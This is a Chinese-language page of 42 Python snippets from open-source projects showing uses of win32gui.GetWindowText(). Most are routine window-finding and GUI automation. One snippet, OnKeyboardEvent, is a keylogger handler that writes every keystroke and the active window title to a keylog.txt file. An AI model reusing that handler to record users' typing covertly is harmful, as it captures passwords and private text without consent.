我们从Python开源项目中,提取了以下42个代码示例,用于说明如何使用win32gui.GetWindowText()。
def __init__(self, window_name=None, exe_file=None, exclude_border=True): hwnd = 0 # first check window_name if window_name is not None: hwnd = win32gui.FindWindow(None, window_name) if hwnd == 0: def callback(h, extra): if window_name in win32gui.GetWindowText(h): extra.append(h) return True extra = [] win32gui.EnumWindows(callback, extra) if extra: hwnd = extra[0] if hwnd == 0: raise WindowsAppNotFoundError("Windows Application <%s> not found!" % window_name) # check exe_file by checking all processes current running. elif exe_file is not None: pid = find_process_id(exe_file) if pid is not None: def callback(h, extra): if win32gui.IsWindowVisible(h) and win32gui.IsWindowEnabled(h): _, p = win32process.GetWindowThreadProcessId(h) if p == pid: extra.append(h) return True return True extra = [] win32gui.EnumWindows(callback, extra) #TODO: get main window from all windows. if extra: hwnd = extra[0] if hwnd == 0: raise WindowsAppNotFoundError("Windows Application <%s> is not running!" % exe_file) # if window_name & exe_file both are None, use the screen. if hwnd == 0: hwnd = win32gui.GetDesktopWindow() self.hwnd = hwnd self.exclude_border = exclude_border
def _window_enum_dialog_callback(hwnd, extra): '''Call back func which checks each open window and matches the name of window using reg ex''' #self._handle = None matchtext = extra matchtext = matchtext.encode('utf-8') logging.debug("call _window_enum_dialog_callback") classname = win32gui.GetClassName(hwnd) title_text = win32gui.GetWindowText(hwnd) title_text = title_text.decode('gbk').encode('utf-8') if classname == '#32770': matchtext = matchtext.encode('utf-8') logging.debug("msg: " + matchtext) logging.debug("Title is: " + title_text) if (matchtext.strip() == title_text.strip()): logging.debug("!!!!BINGO!!!!") top_hwnd = hwnd logging.debug("Find the window at the top") return False else: logging.debug("No matched .....") return True
def dumpWindow(hwnd, wantedText=None, wantedClass=None): """ :param hwnd: ???? :param wantedText: ?????? :param wantedClass: ??????? :return: ?????????????? """ windows = [] hwndChild = None while True: hwndChild = win32gui.FindWindowEx(hwnd, hwndChild, wantedClass, wantedText) if hwndChild: textName = win32gui.GetWindowText(hwndChild) className = win32gui.GetClassName(hwndChild) windows.append((hwndChild, textName, className)) else: return windows
def GetChildapp(self,str_app): print '******** GetChildapp fuction ********' hwnd = win32gui.FindWindow(None, str_app) if hwnd < 1: hwnd = self.find_main_window(str_app) if hwnd>1: hChild = win32gui.GetWindow(hwnd,win32con.GW_CHILD) bufLen=1024 buf =win32gui.PyMakeBuffer(bufLen) totalnum = 1 while hChild : hChild = win32gui.GetWindow(hChild,win32con.GW_HWNDNEXT) n = win32gui.SendMessage(hChild,win32con.WM_GETTEXT,bufLen,buf) str = buf[:n] print '@@@@@@@@@@@' print win32gui.GetWindowText(hChild) print str ''' if totalnum ==3: win32gui.SendMessage(hChild,win32con.WM_SETTEXT,None,'Realtek 10/100/1000 Ethernet NIC') ''' print totalnum,hChild totalnum = totalnum + 1 print '******** GetChildapp fuction ********',totalnum
def handle_window(hwnd,extra):#TB_handle?? if win32gui.IsWindowVisible(hwnd): if extra in win32gui.GetWindowText(hwnd): global handle handle= hwnd
def isSC2onForeground(): """Detect if SC2-Client is the foreground window (only Windows).""" try: fg_window_name = GetWindowText(GetForegroundWindow()).lower() sc2 = "StarCraft II".lower() return fg_window_name == sc2 except Exception as e: module_logger.exception("message") return False
def _window_enum_callback(self, hwnd, wildcard): '''Call back func which checks each open window and matches the name of window using reg ex''' if re.match(wildcard, str(win32gui.GetWindowText(hwnd))) != None: self._handle = hwnd
def song_info(): try: song_info = win32gui.GetWindowText(getwindow()) except: pass return song_info
def get_window_title(hwnd): return win32gui.GetWindowText(hwnd)
def get_text(hwnd): """ Gets the titlebar text of a window (only standard ascii). Args: hwnd (int): The window handler. Returns: (string): The titlebar text of the window. """ return ''.join(char for char in wg.GetWindowText(hwnd) if ord(char) <= 126)
def getwindowtitle(): if sys.platform == "win32": spotify = win32gui.FindWindow('SpotifyMainWindow', None) windowname = win32gui.GetWindowText(spotify) elif sys.platform == "darwin": windowname = '' try: command = "osascript getCurrentSong.AppleScript" windowname = subprocess.check_output(["/bin/bash", "-c", command]).decode("utf-8") except Exception: pass else: windowname = '' session = dbus.SessionBus() spotifydbus = session.get_object("org.mpris.MediaPlayer2.spotify", "/org/mpris/MediaPlayer2") spotifyinterface = dbus.Interface(spotifydbus, "org.freedesktop.DBus.Properties") metadata = spotifyinterface.Get("org.mpris.MediaPlayer2.Player", "Metadata") try: command = "xwininfo -tree -root" windows = subprocess.check_output(["/bin/bash", "-c", command]).decode("utf-8") spotify = '' for line in windows.splitlines(): if '("spotify" "Spotify")' in line: if " - " in line: spotify = line break if spotify == '': windowname = 'Spotify' except Exception: pass if windowname != 'Spotify': windowname = "%s - %s" %(metadata['xesam:artist'][0], metadata['xesam:title']) if "—" in windowname: windowname = windowname.replace("—", "-") if "Spotify - " in windowname: windowname = windowname.strip("Spotify - ") return(windowname)
def foreach_window(self): def callback(hwnd, lparam): title = win32gui.GetWindowText(hwnd).lower() for window in self.to_close: if window in title: win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0) print "Closed window ({})".format(title) for window in self.clicks: if window in title: self._windows[hwnd] = { "matches": self.clicks[window], "to_click": [], "buttons": [] } try: win32gui.EnumChildWindows(hwnd, self.foreach_child(), hwnd) except: print "EnumChildWindows failed, moving on." for button_toclick in self._windows[hwnd]['to_click']: for button in self._windows[hwnd]['buttons']: if button_toclick in button['text']: win32gui.SetForegroundWindow(button['handle']) win32gui.SendMessage(button['handle'], win32con.BM_CLICK, 0, 0) print "Clicked on button ({} / {})".format(title, button['text']) del self._windows[hwnd] return True return callback
def getWindowText(hwnd): """ ??????? """ return win32gui.GetWindowText(hwnd)
def _windowEnumerationHandler(hwnd, resultList): """Pass to win32gui.EnumWindows() to generate list of window handle, window text, window class tuples.""" resultList.append((hwnd, win32gui.GetWindowText(hwnd), win32gui.GetClassName(hwnd)))
def enumHandler(hwnd, lParam): if win32gui.IsWindowVisible(hwnd): if 'WinGuake - Guake For Windows' in win32gui.GetWindowText(hwnd): m_width = win32api.GetSystemMetrics(0) m_length = win32api.GetSystemMetrics(1) w_width = int(m_width) w_length = int(m_length/2) win32gui.MoveWindow(hwnd, 0, 0, w_width, w_length, True)
def enumHandler(hwnd, lParam): if win32gui.IsWindowVisible(hwnd): if 'WinGuake' in win32gui.GetWindowText(hwnd): m_width = win32api.GetSystemMetrics(0) m_length = win32api.GetSystemMetrics(1) w_width = int(m_width) w_length = int(m_length/2) win32gui.MoveWindow(hwnd, 0, 0, w_width, w_length, True)
def enumHandler(hwnd, lParam): if win32gui.IsWindowVisible(hwnd): if 'WinGuake - Guake For Windows' in win32gui.GetWindowText(hwnd): m_width = GetSystemMetrics(0) m_length = GetSystemMetrics(1) w_width = int(m_width) w_length = int(m_length/2) win32gui.MoveWindow(hwnd, 0, 0, w_width, w_length, True)
def _window_enum_callback(self, hwnd, wildcard): """Call back func which checks each open window and matches the name of window using reg ex""" if re.match(wildcard, str(win32gui.GetWindowText(hwnd))) != None: self._handle = hwnd
def OnKeyboardEvent(self,event): global buffer global window global save_keystroke global current_active_window save_keystroke = open(USERDATA_PATH + "keylog.txt", 'a') new_active_window = current_active_window current_active_window = win32gui.GetWindowText(win32gui.GetForegroundWindow()) if new_active_window != current_active_window: window = current_system_time.strftime("%d/%m/%Y-%H|%M|%S") + ": " + current_active_window save_keystroke.write(str(window)+'\n') window = '' if event.Ascii == 13: buffer = current_system_time.strftime("%d/%m/%Y-%H|%M|%S") + ": " + buffer save_keystroke.write(buffer+ '\n') buffer = '' elif event.Ascii == 8: buffer = buffer[:-1] elif event.Ascii == 9: keys = '\t' buffer = buffer + keys elif event.Ascii >= 32 and event.Ascii <= 127: keys = chr(event.Ascii) buffer = buffer + keys return True
def updateWindowHandle(self, callback=None): def getSpotifyWindowHandle(handle, extra): pid = GetWindowThreadProcessId(handle)[1] processName = psutil.Process(pid).name().lower() songMatch = SONG_DATA_RE.match(GetWindowText(handle)) if(SPOTIFY in processName and songMatch): self.windowHandle = handle ## Should really be a return False here to kill off the ## enumeration when a suitable handle is found, but that ## produces a weird 'Things have gone VERY wrong' error. ## See: http://docs.activestate.com/activepython/3.1/pywin32/win32gui__EnumWindows_meth.html EnumWindows(getSpotifyWindowHandle, None) ## Can't know which window will display the currently playing song ## information unless it's playing music. if(not self.windowHandle): self._findWindowHandleAttempts += 1 if(self._findWindowHandleAttempts > ATTEMPT_LIMIT): self.stopScraping() raise RuntimeError("No valid " + SPOTIFY + " windows available. Is it currently open and running (and not playing any ads)?") self.playSong() time.sleep(WAIT_TIME) ## Give Spotify a moment to start playing. self.updateWindowHandle() if(callback): callback()
def updateSongData(self, callback=None): windowText = GetWindowText(self.windowHandle) ## Don't just endlessly loop if the window handle stops working ## (usually because the window was closed). if(not windowText): self.stopScraping() self.windowHandle = None raise RuntimeError("No valid " + SPOTIFY + " windows available. Was it closed recently?") songMatch = SONG_DATA_RE.match(windowText) ## Check to see that the 'Artist - Song' string is in the window's title. if(songMatch): song = songMatch.group(1) artist = songMatch.group(2) ## Check to make sure that the song data is for a new song. if(self.song != song or self.artist != artist): self.song = song self.artist = artist if(self.shouldGetArt): self.art = self.captureAlbumArt() ## Callback only when the song has been updated. if(callback): if(self._callbackArgCount == 0): callback() elif(self._callbackArgCount == 1): callback(self.getSongDataDict()) else: self.stopScraping() alert = "The callback function '{0}' should take 0 or 1 arguments. It current takes {1} arguments." RuntimeError(alert.format(callback.__name__, self._callbackArgCount))
def _windowEnumerationHandler(hwnd, resultList): '''Pass to win32gui.EnumWindows() to generate list of window handle, window text, window class tuples.''' resultList.append((hwnd, win32gui.GetWindowText(hwnd), win32gui.GetClassName(hwnd)))
def is_win_ok(self,hwnd,starttext,lb_dx='869',lb_dy='38',win_dx='',win_dy=''): #print "*********is_win_ok function**********" #print "*********is_win_ok function starttext**********",starttext if len(win_dx)>0: self.wdx = string.atoi(win_dx) if len(win_dy)>0: self.wdy = string.atoi(win_dy) s = win32gui.GetWindowText(hwnd) #print s if s.startswith(starttext): #print "*********is_win_ok function s**********",s #print (s) dlg=win32gui.FindWindow(None,s) time.sleep(1) #win32gui.ShowWindow(dlg,win32con.SW_SHOWMAXIMIZED) win32gui.ShowWindow(dlg,win32con.SW_SHOW) time.sleep(1) #print 'self.wdx,self.wdy:',self.wdx,self.wdy #win32gui.MoveWindow(dlg,0,0,self.wdx,self.wdy,1) time.sleep(1) win32gui.SetForegroundWindow(dlg) time.sleep(1) #win32gui.ShowWindow(dlg,win32con.SW_SHOWMAXIMIZED) win32gui.ShowWindow(dlg,win32con.SW_SHOW) time.sleep(1) #self.Mouse_LB(lb_dx,lb_dy) global MAIN_HWND MAIN_HWND = hwnd return None return 1
def winfun(self, hwnd,lparam): print "*********winfun function**********" s = win32gui.GetWindowText(hwnd) if len(s) > 3: print("winfun, child_hwd: %d txt: %s" % (hwnd, s)) return 1
def FX_GetForegroundWindow(): window_info = FX_WINDOW_INFO() window_info.Win32Window = win32gui.GetForegroundWindow() thread_process = win32process.GetWindowThreadProcessId(window_info.Win32Window) window_info.ProcessID = thread_process[1] window_info.ThreadID = thread_process[0] window_info.Title = win32gui.GetWindowText(window_info.Win32Window) return FX_Window(window_info)
def FX_GetWindowTitle(FXWindow): return win32gui.GetWindowText(FXWindow.GetWin32Window())
def FX_CreateWindowFromElement(FXElement): win_info = FX_WINDOW_INFO() win_info.Win32Window = FXElement.GetNativeWindowHandle() if win_info.Win32Window == 0: return None thread_process = win32process.GetWindowThreadProcessId(win_info.Win32Window) win_info.ProcessID = thread_process[1] win_info.ThreadID = thread_process[0] win_info.Title = win32gui.GetWindowText(win_info.Win32Window) return FX_Window(win_info, FXElement)
def GetWindowText(self): return win32gui.GetWindowText(self.Window)
def FindWindowByClassName(self, class_name): win_info = FX_WINDOW_INFO() win_info.Win32Window = win32gui.FindWindowEx(None, None, class_name, None) print(win_info.Win32Window) if win_info.Win32Window == 0: return None thread_process = win32process.GetWindowThreadProcessId(win_info.Win32Window) win_info.ProcessID = thread_process[1] win_info.ThreadID = thread_process[0] win_info.Title = win32gui.GetWindowText(win_info.Win32Window) return FX_Window(win_info)
def GetForegroundWindow(self): win_info = FX_WINDOW_INFO() win_info.Window = win32gui.GetForegroundWindow() thread_process = win32process.GetWindowThreadProcessId(win_info.Window) self.ProcessID = thread_process[1] self.ThreadID = thread_process[0] win_info.Title = win32gui.GetWindowText(win_info.Win32Window) return FX_Window(win_info)
def _window_enum_dialog_callback_(self, hwnd, extra): '''Call back func which checks each open window and matches the name of window using reg ex''' #self._handle = None matchtext = extra logging.debug("call _window_enum_dialog_callback") classname = win32gui.GetClassName(hwnd) title_text = win32gui.GetWindowText(hwnd) title_text = title_text.decode('gbk').encode('utf-8') if classname == '#32770': matchtext = matchtext.encode('utf-8') logging.debug("msg: " + matchtext) logging.debug("Title is: " + title_text) # buf_size = 1 + win32gui.SendMessage(hwnd, win32con.WM_GETTEXTLENGTH, 0, 0) # buffer_text = win32gui.PyMakeBuffer(buf_size) # win32gui.SendMessage(hwnd, win32con.WM_GETTEXT, buf_size, buffer_text) # # logging.debug("Buffer_text: " + buffer_text) # logging.debug("Buffer_text decode(gbk).encode(utf-8): " + # buffer_text.decode('gbk').encode('utf-8')) # windowText = buffer_text[:buf_size] # # try: # windowText = windowText.decode('gbk').encode('utf-8') #unicode(windowText, 'utf-8') # except: # logging.debug("_window_enum_dialog_callback unicode exception") # pass # # message = ['Handle:\t' + str(hwnd), # 'Class Name:\t' + classname, # 'Window Text:\t' + windowText] # # logging.debug("Print the message: " + str(message)) # # #if re.match(wildcard, windowText) != None: if (matchtext.strip() == title_text.strip()): logging.debug("!!!!BINGO!!!!") self.hwnd = hwnd return False else: logging.debug("No matched .....") return True
def expect_the_specific_dialog(self, _current_dialog): ''' Set the windows white list, Then find another :_current_dialog: :return: the new top dialog ''' def _expect_window_dialog_enum_callback(hwnd, extra): '''Call back func which checks each open window and matches the name of window using reg ex''' #self._handle = None matchtext = extra logging.debug("call _window_enum_dialog_callback") classname = win32gui.GetClassName(hwnd) title_text = win32gui.GetWindowText(hwnd) title_text = title_text.decode('gbk').encode('utf-8') if classname == '#32770': matchtext = matchtext.encode('utf-8') logging.debug("msg: " + matchtext) logging.debug("Title is: " + title_text) if (matchtext.strip() == title_text.strip()): logging.debug("!!!!Second window BINGO!!!!") if hwnd not in self.white_windows_list: logging.debug("Find the second window at the top") self.expect_sec_window = hwnd return False else: logging.debug("Find the window at the top which is not the second") return True else: logging.debug("No matched .....") return True self.white_windows_list = [_current_dialog, ] windowtitle = win32gui.GetWindowText(_current_dialog) logging.debug("To find the second window, need match " + windowtitle) try: #win32gui.EnumWindows(_expect_window_dialog_enum_callback, windowtitle) win32gui.EnumChildWindows(self.hwnd, _expect_window_dialog_enum_callback, windowtitle) except: logging.debug("Got the error:") logging.debug("win32gui.EnumWindows with " + str(_expect_window_dialog_enum_callback))
def get_expect_window_label_text(self, _expect_sec_window): ''' Try to get window label text ''' # label_text = u"????" # label_text = label_text.encode('utf-8') # return label_text label_text = '' window = self.expect_sec_window child_control = None last_child = 0 while True: logging.debug("Find the child controls for parent window") child_control = win32gui.FindWindowEx(window, last_child, 'static', None) if not child_control: logging.debug("The child is None") break; else: logging.debug("The child is not None, ") buffer = win32gui.PyMakeBuffer(200) length = win32gui.SendMessage(child_control, win32con.WM_GETTEXT, 200, buffer) result = buffer[:length] result = result.decode('gbk').encode('utf-8') logging.debug("Got the child text is :" + result) last_child = child_control label_text = result time.sleep(0.5) def _winfun(hwnd, lparam): s = win32gui.GetWindowText(hwnd) s = s.decode('gbk').encode('utf-8') logging.debug("winfun, child_hwnd: %d txt: %s" % (hwnd, s)) return 1 if window: logging.debug("To enumerate all the child windows") win32gui.EnumChildWindows(self.expect_sec_window, _winfun, None) #bufferlength = struct.pack('i', 255) #count = win32gui.SendMessage(self.expect_sec_window, win32con.get, 0, 0) #for itemIndex in range(count): # value = array.array('c', bufferlength +str().ljust(253)) # valueLength = win32gui.SendMessage(self.expect_sec_window, getValueMessage, itemIndex, value) # yield value.tostring()[:valueLength] return label_text
def check_Landdlg(self,hwdlist,lst_t=[]): try: for x in hwdlist: title_name= win32gui.GetWindowText(x) #print 'here',title_name if title_name.startswith('?')==True: #app.connect_(handle=x) #print '11111' username='admin' passwd ='admin' if len(lst_t)!=0: for y in lst_t: print 'lstSub[j]333332222215:' ,y if y.has_key('ASSIST')==True: if y['ASSIST'] == KEY_USERNAME: username = y['ControlType'] elif y['ASSIST'] == KEY_PASSWD: passwd = y['ControlType'] Editlist = findControls(topHwnd=x,wantedClass='Edit') print 'Editlist:',Editlist print 'passwd:',passwd,' username:',username userFlag = False tmp_hwd =[] for y in Editlist: print '2222',y, ' getEditText(y):',getEditText(y) if y in tmp_hwd: continue else: tmp_hwd.append(y) if len(getEditText(y))>1: print 'getEditText(y)',getEditText(y) , ' len:',len(getEditText(y)) continue if userFlag==False: setEditText(y,username) else: setEditText(y,passwd) userFlag = True win32api.Sleep(100) #time.sleep(100) b_hwd = findControl(topHwnd=x,wantedClass='Button',wantedText='?') #print 'button',b_hwd clickButton(b_hwd) except Exception ,exc_str: log_print(exc_str) return False return True
def check_Landdlg(self,hwdlist,lst_t=[]): try: for x in hwdlist: title_name= win32gui.GetWindowText(x) #print 'here',title_name if title_name.startswith('?')==True: #app.connect_(handle=x) #print '11111' #time.sleep(1) username='admin' passwd ='admin' if len(lst_t)!=0: for y in lst_t: #print 'lstSub[j]333332222215:' ,y if y.has_key('ASSIST')==True: if y['ASSIST'] == KEY_USERNAME: username = y['ControlType'] elif y['ASSIST'] == KEY_PASSWD: passwd = y['ControlType'] combolist =findControls(topHwnd=x,wantedClass='ComboBox') combolist = list(set(combolist)) #print 'combolist:',combolist dump_ed_hwnd = 0 for y in combolist: dump_ed_hwnd = dumpWindow(y)[0][0] #print 'dumpWindow:',dumpWindow(y),'dump_ed_hwnd',dump_ed_hwnd if dump_ed_hwnd == 0 : return False Editlist = findControls(topHwnd=x,wantedClass='Edit') #print 'Editlist:',Editlist #print 'passwd:',passwd,' username:',username userFlag = False tmp_hwd =[] Editlist = list(set(Editlist)) for y in Editlist: #print '2222',y, ' getEditText(y):',getEditText(y),' len:',len(getEditText(y)) if y in tmp_hwd: continue else: tmp_hwd.append(y) if len(getEditText(y))>1: #print 'getEditText(y)',getEditText(y) , ' len:',len(getEditText(y)) continue #print 'dump_ed_hwnd',dump_ed_hwnd,' y:',y if dump_ed_hwnd ==y: setEditText(y,username) else: setEditText(y,passwd) win32api.Sleep(100) #time.sleep(100) b_hwd = findControl(topHwnd=x,wantedClass='Button',wantedText='?') #print 'button',b_hwd clickButton(b_hwd) except Exception ,exc_str: log_print(exc_str) return False return True
def get_hwnd_by_title_class(self, class_text = None, title_text= None, parent_title = None,parent_class = None): """ Returns a windows window_handler Args: title_text (string): the title of the window we are looking for SPECIAL CASE: if "desktop:n" is given, a handle to the desktop number n handle is given Returns: int: the handler for the window if found Raises: win32.error: If the windowtitle is invalid """ if 'desktop:' in title_text.lower(): _ , num = title_text.lower().split(':',1) num = int(num) monitors = win32api.EnumDisplayMonitors() tar_mon = monitors[num] self.hwnd = tar_mon[1] return self.hwnd if title_text.lower() == "desktop": self.hwnd = win32gui.GetDesktopWindow() return self.hwnd child_hwnd = [] def child_enumerator(hwnd,param): child_hwnd.append(hwnd) return True if parent_title is not None or parent_class is not None: logging.debug("Where supplied title/class: {0}/{1}".format(str(title_text), str(class_text))) parent_hwnd = self.get_hwnd_by_title_class(class_text=parent_class,title_text=parent_title) win32gui.EnumChildWindows(parent_hwnd,child_enumerator,None) for hwnd in child_hwnd: hwnd_title = win32gui.GetWindowText(hwnd) hwnd_class = win32gui.GetClassName(hwnd) if (hwnd_title == title_text and title_text is not None) or \ (hwnd_class == class_text and class_text is not None): self.hwnd = hwnd return hwnd # logging.debug("Found parent with title/class {0}{1} at {2}".format(parent_title,parent_class,parent_hwnd)) # self.hwnd = win32gui.FindWindowEx(parent_hwnd,0,class_text,title_text) else: logging.debug("Where supplied title/class: {0}/{1}".format(str(title_text), str(class_text))) self.hwnd = win32gui.FindWindow(class_text, title_text) if self.hwnd == 0: raise ValueError('Unable to find a window with that title or class') logging.debug("Found window 0x{:2X}".format(self.hwnd)) return self.hwnd